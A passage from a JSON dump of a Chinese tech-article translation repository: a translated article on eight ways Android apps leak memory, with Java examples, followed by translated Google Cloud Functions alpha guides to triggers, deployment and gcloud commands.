Page](http://google.github.io/dagger/)\n* [Sample project using Dagger 2](https://github.com/vinc3m1/nowdothis)\n* [Vince Mi's Codepath Meetup Dagger 2 Slides](https://docs.google.com/presentation/d/1bkctcKjbLlpiI0Nj9v0QpCcNIiZBhVsJsJp1dgU5n98/)\n* <http://code.tutsplus.com/tutorials/dependency-injection-with-dagger-2-on-android--cms-23345>\n* [Jake Wharton's Devoxx Dagger 2 Slides](https://speakerdeck.com/jakewharton/dependency-injection-with-dagger-2-devoxx-2014)\n* [Jake Wharton's Devoxx Dagger 2 Talk](https://www.parleys.com/tutorial/5471cdd1e4b065ebcfa1d557/)\n* [Dagger 2 Google Developers Talk](https://www.youtube.com/watch?v=oK_XtfXPkqw)\n* [Dagger 1 to Dagger 2](http://frogermcs.github.io/dagger-1-to-2-migration/)\n* [Tasting Dagger 2 on Android](http://fernandocejas.com/2015/04/11/tasting-dagger-2-on-android/)\n* [Dagger 2 Testing with Mockito](http://blog.sqisland.com/2015/04/dagger-2-espresso-2-mockito.html#sthash.IMzjLiVu.dpuf)\n* [Snorkeling with Dagger 2](https://github.com/konmik/konmik.github.io/wiki/Snorkeling-with-Dagger-2) \n* [Dependency Injection in Java](https://www.objc.io/issues/11-android/dependency-injection-in-java/)\n* [Component Dependency vs. Submodules in Dagger 2](http://jellybeanssir.blogspot.de/2015/05/component-dependency-vs-submodules-in.html)\n* [Dagger 2 Component Scopes Test](https://github.com/joesteele/dagger2-component-scopes-test)\n* [Advanced Dagger Talk](http://www.slideshare.net/nakhimovich/advanced-dagger-talk-from-360anDev)\n\n---\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/Eight-Ways-Your-Android-App-Can-Leak-Memory.md",
    "content": ">* 原文链接 : [Eight Ways Your Android App Can Leak Memory](http://blog.nimbledroid.com/2016/05/23/memory-leaks.html)\n* 原文作者 : [Tom Huzij](http://blog.nimbledroid.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [zhangzhaoqi](https://github.com/joddiy)\n* 校对者: [Jasper Zhong](https://github.com/DeadLion)，[江湖迈杰](https://github.com/MiJack)\n\n# 八个造成 Android 应用内存泄露的原因\n\n诸如 Java 这样的 GC （垃圾回收）语言的一个好处就是免去了开发者管理内存分配的必要。这样降低了段错误导致应用崩溃或者未释放的内存挤爆了堆的可能性，因此也能编写更安全的代码。不幸的是，Java 里仍有一些其他的方式会导致内存“合理”地泄露。最终，这意味着你的 Android 应用可能会浪费一些非必要内存，甚至出现 out-of-memory (OOM) 错误。\n\n传统的内存泄露发生的时机是：所有的相关引用已不在域范围内，你忘记释放内存了。另一方面，逻辑内存的泄漏，是忘记去释放在应用中不再使用的对象引用的结果。如果对象仍然存在强引用（译者注：这里可以去关注下 Java 的弱引用），GC 就无法从内存中回收对象。这在 Android 开发中尤其是个大问题：如果你碰巧泄露了 [Context](http://developer.android.com/reference/android/content/Context.html)。这是因为像 [Activity](http://developer.android.com/reference/android/app/Activity.html) 一样的 Context 持有大量的内存引用，例如：view 层级和其他资源。如果你泄漏了 Context，就意味着你泄漏了它引用的所有东西。Android 应用通常运行在内存受限的手机设备中，如果你的应用泄漏太多内存的话就会导致 out-of-memory (OOM) 错误。\n\n如果对象的有用存在期没有被明确定义的话，探查逻辑内存泄漏将会变成一件很主观的事情。幸好，Activity 明确定义了 [生命周期](http://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle)，使得我们可以简单地知道一个 Activity 对象是否被泄漏了。在 Activity 的生命末期，[onDestroy()](http://developer.android.com/reference/android/app/Activity.html#onDestroy()) 方法被调用来销毁 Activity ，这样做的原因可能是程序本身的意愿或者是 Android 需要回收一些内存。如果这个方法完成了，但是 Activity 的实例被堆根的一个强引用链持有着，那么 GC 就无法标记它为可回收 —— 尽管原本是想删掉它。因此，我们可以将一个泄露的 Activity 对象定义为一个超过其自然生命周期的对象。\n\nActivity 是非常重的对象，所以你从来就不应该选择无视 Android 框架对它们的处理。然而，Activity 实例也有一些泄漏是非意愿造成的。在 Android 中，所有的可能导致内存泄漏的陷阱都围绕着两个基本场景：第一个是由独立于应用状态存在的全局静态对象对 Activity 的链式引用造成的；另一个是由独立于 Activity 生命周期的一个线程持有 Activity 的引用链造成。下面我们来解释一些你可能遇到这些场景的方式。\n\n### 1\\. 静态 Activity\n\n泄漏一个 Activity 最简单的方法是：定义 Activity 时在内部定义一个静态变量，并将其值设置为处于运行状态的 [Activity](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L110) 。如果在 Activity 生命周期结束时没有清除引用的话，这个 Activity 就会泄漏。这是因为这个对象表示这个 Activity 类（比如：MainActivity ）是静态的并且在内存中一直保持加载状态。如果这个类对象持有了对 Activity 实例的引用，就不会被选中进行 GC 了。\n\n\n\n    void setStaticActivity() {\n      activity = this;\n    }\n\n    View saButton = findViewById(R.id.sa_button);\n    saButton.setOnClickListener(new View.OnClickListener() {\n      @Override public void onClick(View v) {\n        setStaticActivity();\n        nextActivity();\n      }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image07.png)\n\n<figcaption>内存泄漏 1 - 静态 Activity</figcaption>\n\n\n### 2\\. 静态 View\n\n一个相似的情况是：对于经常访问到的 Activity 实现了单例模式，并且保持它的实例在内存中的加载状态使之有利于快速读写。然而，正如刚才提到的原因，违背了 Activity 既定的生命周期并且在内存中长久存在是一件极其危险和不必要的实践 —— 并且应该被完全禁止。\n\n但是假如我们有一个特定的 View ：花费极大的代价来初始化，但是在同一个 Activity 的不同生命时间内没怎么变化过，我们该怎么办呢？我们可以简单地在初始化后就把这个 View 设为静态的，然后附加到 View 的层次关系中，就像我们在[这里](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L132)做的。现在假如 Activity 被销毁了，我们应该可以释放它占用的大部分内存。\n\n\n\n    void setStaticView() {\n      view = findViewById(R.id.sv_button);\n    }\n\n    View svButton = findViewById(R.id.sv_button);\n    svButton.setOnClickListener(new View.OnClickListener() {\n      @Override public void onClick(View v) {\n        setStaticView();\n        nextActivity();\n      }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image02.png)\n\n<figcaption>内存泄漏 2 - 静态 View</figcaption>\n\n\n稍等，有一点奇怪的地方。正如你知道的，在这种情况下，我们的 Activity 中，一个被附加的 View 会持有对它的 Context 的引用。通过使用一个 View 的静态引用，我们给 Activity 设定了一个持久化的引用链并且泄露了它。不要使附加的 View 静态化，如果你必须这么做的话，至少让它们在 Activity 完成之前从 View 层级关系的同一点上[分离](http://developer.android.com/reference/android/view/ViewGroup.html#removeView(android.view.View))出来。\n\n### 3\\. 内部类\n\n继续，让我们讨论下在 Activity 类中定义一个[内部类](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L126)的情况。程序员一般选择这样做是有一些原因的，诸如提升可靠性和封装性等。假如我们创建了一个内部类的实例然后对其持有了一个静态引用呢？你肯定猜到了必然会发生内存泄漏。\n\n\n\n    void createInnerClass() {\n        class InnerClass {\n        }\n        inner = new InnerClass();\n    }\n\n    View icButton = findViewById(R.id.ic_button);\n    icButton.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(View v) {\n            createInnerClass();\n            nextActivity();\n        }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image03.png)\n\n<figcaption>内存泄漏 3 - 内部类</figcaption>\n\n不幸的是，因为内部类的一个特性是它们可以访问外部类的变量，所以它们必然持有了对外部类实例的引用以至于 Activity 会发生泄漏。\n\n### 4\\. 匿名类\n\n同样的，匿名类同样持有了内部定义的类的引用。因此如果你[在 Activity 中匿名地声明并且实例化了一个 AsyncTask](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L102)的话就会发生泄漏。如果在 Activity 销毁后它仍在后台工作的话，对于 Activity 的引用会持续并且直到后台工作完成才会进行 GC。\n\n\n\n    void startAsyncTask() {\n        new AsyncTask<void, void,=\"\" void=\"\">() {\n            @Override protected Void doInBackground(Void... params) {\n                while(true);\n            }\n        }.execute();\n    }\n\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.activity_main);\n    View aicButton = findViewById(R.id.at_button);\n    aicButton.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(View v) {\n            startAsyncTask();\n            nextActivity();\n        }\n    });</void,>\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image04.png)\n\n<figcaption>内存泄漏 4 - AsyncTask</figcaption>\n\n### 5\\. Handler\n\n相同的情况同样适用于这样的[后台任务](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L114)：被一个 Runnable 对象定义并被一个 Handler 对象加入执行队列。这个 Runnable 对象将会隐式地引用定义它的 Activity 然后会作为 Message 提交到 Handler 的 MessageQueue（消息队列）。只要 Activity 销毁前消息还没有被处理，那么引用链就会使 Activity 保留在内存里并导致泄漏。\n\n\n\n    void createHandler() {\n        new Handler() {\n            @Override public void handleMessage(Message message) {\n                super.handleMessage(message);\n            }\n        }.postDelayed(new Runnable() {\n            @Override public void run() {\n                while(true);\n            }\n        }, Long.MAX_VALUE >> 1);\n    }\n\n    View hButton = findViewById(R.id.h_button);\n    hButton.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(View v) {\n            createHandler();\n            nextActivity();\n        }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image01.png)\n\n<figcaption>内存泄漏 5 - Handler</figcaption>\n\n### 6\\. Thread\n\n我们在使用 [Thread](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L142) 和 [TimerTask](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L150) 时，可能会犯同样的错误。\n\n\n\n    void spawnThread() {\n        new Thread() {\n            @Override public void run() {\n                while(true);\n            }\n        }.start();\n    }\n\n    View tButton = findViewById(R.id.t_button);\n    tButton.setOnClickListener(new View.OnClickListener() {\n      @Override public void onClick(View v) {\n          spawnThread();\n          nextActivity();\n      }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image06.png)\n\n<figcaption>内存泄漏 6 - Thread</figcaption>\n\n### 7\\. TimerTask\n\n只要 TimerTask 被定义并且匿名实例化，即使任务执行在独立的线程里，它们也会在 Activity 销毁后保持对其的引用链，从而导致泄漏。\n\n\n\n    void scheduleTimer() {\n        new Timer().schedule(new TimerTask() {\n            @Override\n            public void run() {\n                while(true);\n            }\n        }, Long.MAX_VALUE >> 1);\n    }\n\n    View ttButton = findViewById(R.id.tt_button);\n    ttButton.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(View v) {\n            scheduleTimer();\n            nextActivity();\n        }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image06.png)\n\n<figcaption>内存泄漏 7 - TimerTask</figcaption>\n\n### 8\\. SensorManager\n\n最后，有一些 Context 可以通过调用 [getSystemService](http://developer.android.com/reference/android/content/Context.html#getSystemService(java.lang.String)) 来检索的系统服务。这些服务运行在它们独立的线程，辅助应用去与硬件设备进行接口通讯。如果 Context 想要时刻监听到 Service 中发生的事件，它就需要注册自己为 [Listener](https://github.com/NimbleDroid/Memory-Leaks/blob/master/app/src/main/java/com/nimbledroid/memoryleaks/MainActivity.java#L136)。然而，这将会造成 Service 持有 Activity 的引用，如果在 Activity 销毁前忘记注销作为 Listener 的 Activity 的话，GC 就无法回收从而导致泄漏。\n\n\n\n    void registerListener() {\n           SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);\n           Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ALL);\n           sensorManager.registerListener(this, sensor, SensorManager.SENSOR_DELAY_FASTEST);\n    }\n\n    View smButton = findViewById(R.id.sm_button);\n    smButton.setOnClickListener(new View.OnClickListener() {\n        @Override public void onClick(View v) {\n            registerListener();\n            nextActivity();\n        }\n    });\n\n\n\n![](http://blog.nimbledroid.com/assets/memory-leaks-imgs/image00.png)\n\n<figcaption>内存泄漏 8 - SensorManager</figcaption>\n\n现在你已经见识了这么多内存泄漏的情况，一不留神就泄漏大量内存实在是太容易发生了。记住，尽管最严重的内存泄漏情况才会造成应用内存溢出并崩溃，但并不总会发生这样的情况，取而代之的是，这将浪费应用大量内存空间。在这种情况下，应用给其他对象的可分配内存就少了，然后你的 GC 就不得不时常为新对象释放空间。GC 是代价很大的操作并会让用户感到速度下降。当你在 Activity 中初始化对象的时候，留心潜在的引用链，并且经常测试内存泄漏！\n\n修改：由于一些编辑错误，这篇文章中涉及 Activity 结束生命周期的方法原本是 onDelete()，正确的应该是 onDestroy()，感谢 [@whoisgraham](https://twitter.com/whoisgraham/status/734993947014115328) 指出了这个错误。\n\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/calling-cloud-functions.md",
    "content": "* 原文[Calling Cloud Functions](https://cloud.google.com/functions/calling)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n##调用 Cloud Functions\n\nGoogle Cloud Functions 可以和一个指定的触发器联系起来。触发器的类型决定了你的函数执行方式和执行时间。当前版本的 Cloud Functions 支持以下原生触发机制：\n\n* [Goocle Cloud Pub/Sub](https://cloud.google.com/functions/calling#google_cloud_pubsub)\n* [Goocle Cloud Storage](https://cloud.google.com/functions/calling#google_cloud_storage)\n* [HTTP Invocation](https://cloud.google.com/functions/calling#http_invocation)\n* [Debug/Direct Invocation](https://cloud.google.com/functions/calling#debugdirect_invocation)\n\n你也可以把 Cloud Functions 和其它支持 Cloud Pub/Sub 的 Google 服务整合在一起，也可以和任何支持 HTTP 回调(webhooks) 的服务整合。这部分的更多细节在[其它触发器](https://cloud.google.com/functions/calling#other)中。\n\n##Google Cloud Pub/Sub\n\nCloud Functions 可以通过 [Cloud Pub/Sub topic](https://cloud.google.com/pubsub/docs) 主题异步触发。Cloud Pub/Sub 全球性的分布式消息总线，可以根据你的需求弹性扩展与收缩，为你构建强健的，全球化的服务提供良好的基础。\n\n例子：\n\n> $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-topic hello_world\n\n参数|描述\n----|----\n--trigger-topic|函数要订阅的Cloud Pub/Sub 主题名\n\n由 Cloud Pub/Sub 触发器调用的 Cloud Functions 会接收到一个发布到 Pub/Sub 主题的 message，message必须是 JSON 格式。\n\n##Google Cloud Storege\n\nCloud Functions 可以对 Google Cloud Storage 发出的对象修改通知做出回应。这些通知是由对象添加(创建)，更新(修改)，或者删除触发的。\n\n例子：\n\n> $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-gs-uri my-bucket\n\n参数|描述\n----|----\n--trigger-gs-uri| 函数要监听变更的 Cloud Storage bucket 名字\n\n由 Cloud Storage 触发器触发的 Cloud Functions 会接收到对象增加，更新，或者删除事件发出的预定义好的 JSON 结构，像这个[文档](https://cloud.google.com/storage/docs/object-change-notification#_Type_AddUpdateDel)中这样。\n\n##HTTP 触发\n\nCloud Functions 可以由 HTTP POST 方法同步的触发。为你的函数添加一个 HTTP 端点，你得在部署函数时通过 --trigger-http 指明触发器类型。HTTP 调用是同步触发的，也就意味着函数的结果会在 HTTP 响应的 body 中返回。\n\n例子：\n\n> $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-http\n\n```\n注意：现在只支持 HTTP POST 方法。其它任何方法(比如 GET 或者 PUT)都会引发 405(方法不支持) 错误。\n\n部署带有 HTTP 触发的 Cloud Functions 可以通过简单的 curl 命令触发：\n\n> $ curl -X POST <HTTP_URL> --data '{\"message\":\"Hello World!\"}'\n```\n\n<HTTP_URL> 会在函数部署后返回，也可使用 gcloud 的 describe 查看\n\n##Debug/Direct 调用\n\n为了支持快速迭代和调试，Cloud Functions  命令行工具提供了 call 命令，并且在 UI 中提供了一个测试函数。这样你就可以手动调用函数并确保它的正确性。这种调用方式会同步触发函数的执行，即使部署时它的触发器是异步的，比如 Cloud Pub/Sub 触发器。\n\n例子：\n\n> $ gcloud alpha functions call helloworld --data '{\"message\":\"Hello World!\"}'\n\n\n##其它触发器 \n\n由于 Cloud Functions 可以由 Cloud Pub/Sub 主题消息触发，因此你可以把它和任何其它支持 Cloud Pub/Sub 作为事件总线的 Google 服务整合起来。 借助于 HTTP 触发方式，你可以把任何其它提供 HTTP 回调(webhooks) 的服务整合起来。\n\n###Cloud 日志\n\nGoogle Cloud Logging 事件可以输出到任何可以被 Cloud Functions 消费的 Cloud Pub/Sub 主题。在[这里](https://cloud.google.com/logging/docs/export/configure_export)参看更多关于 Cloud Logging 的文档。\n\n###GMail\n\n使用 [GMail推送通知 API](https://developers.google.com/gmail/api/guides/push) 你可以把 GMail 事件发送给 loud Pub/Sub 主题并交给 Cloud Functions 处理。\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/catlog.md",
    "content": "[入门](./quick-starts.md)\n[开始](./getting-started.md)\n[编写](./writing-cloud-functions.md)\n[部署](./deploying-cloud-functions.md)\n[调用](./calling-cloud-functions.md)\n[例子](./walkthroughs.md)\n[命令](./command-reference.md)\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/command-reference.md",
    "content": "* 原文[Command Reference](https://cloud.google.com/functions/reference)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n##命令行参考\n\n###Cloud Functions 命令行界面\n\nGoogle Cloud Functions 通过 gcloud SDK 提供了一个命令行界面(CLI)。如果你读过[入门](.getting-started.md)章节，那么你应该已经安装了这个工具了。\n\n###认证\n\n执行下面的命令给 gcloud 工具进行认证:\n\n> $ gcloud auth login\n\n###CLI 方法\n\n查看 gcloud 工具的全部方法列表，执行:\n\n> $ gcloud alpha functions -h\n\n常用的方法如下:\n\n```\ncall        同步调用该函数\ndelete      删除一个函数\ndeploy      创建一个新函数或者更新一个已经存在的函数\ndescribe    显示函数的相关描述\nget-logs    显示给定函数产生的日志\nlist        列出给定区域的全部函数\n```\n\n可以通过给单个命令添加一个 -h 参数来查看该命令的详细帮助文档，比如:\n\n>$ gcloud alpha functions call -h\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/deploying-cloud-functions.md",
    "content": "* 原文[ Deploying Cloud Functions](https://cloud.google.com/functions/deploying)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n#部署 Cloud Functions\n\n##在本地构建和测试\n\nCloud Functions 是在一个 Node.js 运行环境中管理的，因此你可以在你喜欢的开发工具在本地 Node.js 环境进行构建和测试你的函数。\n\n##部署\n\n你可以从本地文件系统(借助[Google Storage bucket](https://cloud.google.com/storage/docs/))部署 Cloud Functions，也可以从你 Github 或 Bitbucket 源码仓库(借助 [Cloud Source Respositories](https://cloud.google.com/tools/cloud-repositories/docs/))部署\n\n在部署时，Cloud Functions 会查找名叫 `index.js` 或者 `function.js` 的文件。如果你提供的 `package.js` 文件中包含 `\"main\"` 入口，Cloud Functions 就会寻找对应的指定文件而不是前面的这两个。\n\n```\n注意：首次部署函数时可能要花费几分钟，因为我们需要为你的函数提供底层支持。随后的部署就会很快了\n\n```\n\n###本地文件系统\n\n本地文件系统部署方式是通过上传一个包含你函数的 ZIP 文件到 Cloud Storage Bucket 中，然后通过命令行工具把那个 bucket 包含在部署中。当使用命令行工具时，Cloud Functions 把包含函数的文件夹打包。另外，你也可以使用 Cloud Platform Console 的 Cloud Functions 界面上传你自己打包的 ZIP 文件。\n\n####创建一个 Cloud Storage Bucket\n\n首先你需要一个 Cloud Storage Bucket 作为你函数代码的临时存储地点。\n\n 如果你还没有 Cloud Storage Bucket ，跟随下面的步骤创建一个：\n\n1. 打开 [Cloud Storage Console](https://console.cloud.google.com/project/_/storage/browser?_ga=1.242691842.1008720489.1449201561)\n\n2. 创建一个新的 bucket\n\n3. 输入 bucket 名字(这里我们使用\"cloud-functions\")，然后根据你的喜好选择存储类型和位置。\n\n4. 点击创建。\n\n####使用 gcloud 命令行部署\n\n在你函数代码所在的文件夹使用 gcloud 命令行工具的 deploy 命令。命令格式如下：\n\n> $ gcloud alpha functions deploy <NAME> --bucket <BUCKET_NAME> <TRIGGER>\n\n下表是命令中的参数说明:\n\n参数|说明\n----|----\ndeploy| 执行的 Cloud Functions 命令，这里是 deploy 命令。\n<NAME>| 你部署的 Cloud Functions 的名称。名称中只能有小写字母，数字和连字符。除非你指定了 --entry-point 选项，否则你模块中必须导出和这个同名的函数。\n--bucket <BUCKET_NAME>| 函数源码要上传的 Cloud Storage bucket 的名字\n<TRIGGER>|此函数的触发器(参考[Calling Cloud Functions](https://cloud.google.com/functions/calling)) \n可选参数|\n--entry-point <FUNCTION_NAME>|作为入口的函数名，而不是<NAME> 参数中使用的那个默认的。这个参数主要用在你源文件中导出的函数名和你部署时候<NAME> 参数指定的函数名不一致时。\n\n下面的例子部署了一个函数并为它部署了有一个 HTTP 触发器:\n\n> $ gcloud alpha functions deploy helloworld --bucket cloud-functions --trigger-http\n\n下表是命令中的参数说明:\n\n参数|说明\n----|----\ndeploy| 执行的 Cloud Functions 命令，这里是 deploy 命令。\nhelloworld| 部署的函数名，这里是 helloworld 。部署的 CLoud Functions 将会注册到 helloworld 名字下，而源代码中必须导出一个名字是 helloworld 的函数。\n--bucket cloud-functions| 源代码上传到的 Cloud Storage 的bucket 名字，这里是 cloud-functions\n--trigger-http|函数触发器的类型，这里是 HTTP 请求(webhook)\n\n下面的例子部署了同一个函数但是在不同的命名空间下：\n\n> $ gcloud alpha functions deploy hello --entry-point helloworld --bucket cloud-functions --trigger-http\n\n下表是命令中的参数说明:\n\n参数|说明\n----|----\ndeploy| 执行的 Cloud Functions 命令，这里是 deploy 命令。\nhello | 部署的函数名，这里是 hello 。部署的函数会注册在 hello 名下。\n--entry-point helloworld|部署的 Cloud Functions 使用一个名字为 helloworld 的导出函数\n--bucket cloud-functions| 源代码上传到的 Cloud Storage bucket 名字，这里是 cloud-functions\n--trigger-http|函数触发器的类型，这里是 HTTP 请求(webhook)\n\n--entry-point 选项在你导出函数的名字和 Cloud Functions 命名规则不符合时很有用。\n\n###Cloud 仓库\n\n如果你更喜欢使用像 Github 或者 Bitbucket 源码仓库来部署你的函数，那么你可以使用 [Google Cloud Source Repositories](https://cloud.google.com/tools/cloud-repositories/docs) 从你仓库的分支或者 tag 直接部署。\n\n####设置Cloud Source Repositories  \n\n1. 遵循 Cloud Source Respositories 的[开始](https://cloud.google.com/tools/cloud-repositories/docs/cloud-repositories-setup) 设置你的仓库。\n\n2. 跟随这份[指导](https://cloud.google.com/tools/cloud-repositories/docs/cloud-repositories-hosted-repository) 来链接你的 Github 或 Bitbucket 分支。\n\n一旦 Cloud Source Repositories 和你外部的仓库建立了联系，这些仓库就会保持同步，这样你就可以给你通常提交的那个仓库提交了。\n\n####通过 gcloud 命令行工具部署\n\n使用 --source-url 参数从你的源码仓库部署函数：\n\n>$ gcloud alpha functions deploy helloworld \\\n  --source-url https://source.developers.google.com/p/<PROJECT_ID> <TRIGGER>\n\n下表是命令中的参数说明:\n\n参数|说明\n----|----\ndeploy| 执行的 Cloud Functions 命令，这里是 deploy 命令。\nhelloworld| 部署的函数名，这里是 helloworld 。部署的 CLoud Functions 将会注册到 helloworld 名字下，而源代码中必须导出一个名字是 helloworld 的函数。\n--source-url https://source.developers.google.com/p/<PROJECT_ID>| 项目云仓库的 url 。格式应该是https://source.developers.google.com/p/<PROJECT_ID> 最后跟的是你的 Cloud Project ID\n<TRIGGER>|此函数的触发器(参考[Calling Cloud Functions](https://cloud.google.com/functions/calling)) \n可选参数|\n--source <SOURCE>|源码树包含函数的路径。例如 \"/functions\"\n--source-branch <SOURCE_BRANCH>|包含函数源码的分支名\n--source-tag <SOURCE_TAG> |包含函数源码的 tag 名\n--source-revision <SOURCE_REVISION>\t|包含函数源码的 revision 名\n\n####使用 Cloud Console 部署\n你也可以在 Cloud Platform Console 的 Cloud Functions 页面的创建和部署函数。\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/getting-started.md",
    "content": "* 原文[Getting Started](https://cloud.google.com/functions/getting-started)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n#入门\n\n使用 [Google Cloud Functions](https://cloud.google.com/functions/docs/) 的准备工作：\n\n 1. 要是你还没有 Google 账户的话[点击这里创建](https://accounts.google.com/SignUp)\n\n 2. 在你的 Google 账户中创建一个结算账户\n\n\t为了使用 Google Cloud Function 你必须开启你计划使用的云工程的结算渠道，前提是你必须先有个可以结算的账户\n\n\t如果你没有可以结算的账户，那么点击[这里](https://console.cloud.google.com/billing?_ga=1.11430708.1008720489.1449201561) 创建一个\n\n 3. 创建 Cloud Platform 工程\n\n\t我们建议大家创建一个新的工程体验 Google Cloud Functions。当然你也可以使用已经创建的工程。点击[这里](https://console.cloud.google.com/project?_ga=1.203378321.1008720489.1449201561)创建新的项目。\n\n 4. 给你的项目开启结算\n\n\t你要使用的云项目必须开启结算。可以在[这里](https://console.cloud.google.com/project?_ga=1.203378321.1008720489.1449201561) 开启结算。\n\n 5. 开启云函数 APIs\n\n\t在开始使用 Cloud Functions 前，你需要确保 Cloud Functions API(以及所有的依赖 API ) 是开启的。你可以在[这里](https://console.cloud.google.com/flows/enableapi?apiid=cloudfunctions,container,compute_component,storage_component,pubsub,logging,source&pli=1&_ga=1.1977009.1008720489.1449201561)开启云函数 APIs\n\t\n\t这将会开启下面的云平台 APIs\n\t\n\t* Google Cloud Functions\n\t* Google Container Engine\n\t* Google Compute Engine\n\t* Google Cloud Pub/Sub\n\t* Google Cloud Logging\n\t* Google Cloud Storage\n\t* Cloud Source Repositories \n\n6. 安装 Google Cloud SDK\n\n\t这份文档中的 walkthrough 例子就是使用的 gcloud 命令行工具可以在 Cloud SDK 中找到。安装和设置 Cloud SDK 的指导文档请参看 Cloud SDK 的[安装和快速开始](https://cloud.google.com/sdk)\n\n\t接下来在你自己的机器上用下面的命令进行认证：\n\n\t> $ gcloud auth login\n\n\t在 gcloud 中设置活跃项目，这个项目是应该是你之前选择的同一个项目：\n\n\t> $ gcloud config set project <PROJECT_ID>\n\n\t参看 [Cloud Platform Console projects page](https://console.cloud.google.com/project?_ga=1.241528706.1008720489.1449201561) 来确定 <PROJECT_ID> 或者通过 Google CLoud Platform Console 的控制台查找 ID\n\n```\n注意:这里的 project ID 可能和 Cloud Platform Console 顶部显示的项目名字不一样\n\n```\n\n开启 alpha 特性访问 Cloud Functions:\n\n> $ gcloud components update alpha\n\n执行 gcloud functions 帮助命令确定所有都就绪了(别忘了加上 alpha 参数):\n\n> $ gcloud alpha functions -h\n"
  },
  {
    "path": "TODO/GoogleCloudFunctions/quick-starts.md",
    "content": "* 原文[Quickstarts - Guides](https://cloud.google.com/functions/docs)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [shenxn](https://github.com/shenxn) [CoderBOBO](https://github.com/CoderBOBO) [edvarHua](https://github.com/edvardHua)\n\n\n##什么是 Google 云函数(Google Cloud Function)?\n\n```\nAlpah\n\n这是 Google Cloud Function 的 Alpha 版。这些特性可能会通过向后兼容的方式进行改变，并且不推荐大家把它用到生成环境。它适用任何生产层面的协议（SLA -- service-level agreement ）或者弃用策略的附属物。[申请列入白名单以使用此特性](https://docs.google.com/forms/d/1WQNWPK3xdLnw4oXPT_AIVR9-gd6DLo5ZIucyxzSQ5fQ/viewform)\n\n```\n\nGoogle Cloud Functions 是一个轻量的，基于事件的，异步的计算解决方案，用于创建小而简单的函数。这些函数不需要管理服务器或者运行环境，只需要对云事件做出及时的响应即可。\n\nGoogle Cloud Function 用 JavaScript 编写并在 Google Cloud Platform 管理的 Node.js 环境中运行。由 Google Cloud Storage 和 Google Cloud Pub/Sub 产生的事件异步触发 Cloud Function，你也可以通过 HTTP 触发并同步执行\n\n##云事件(Cloud 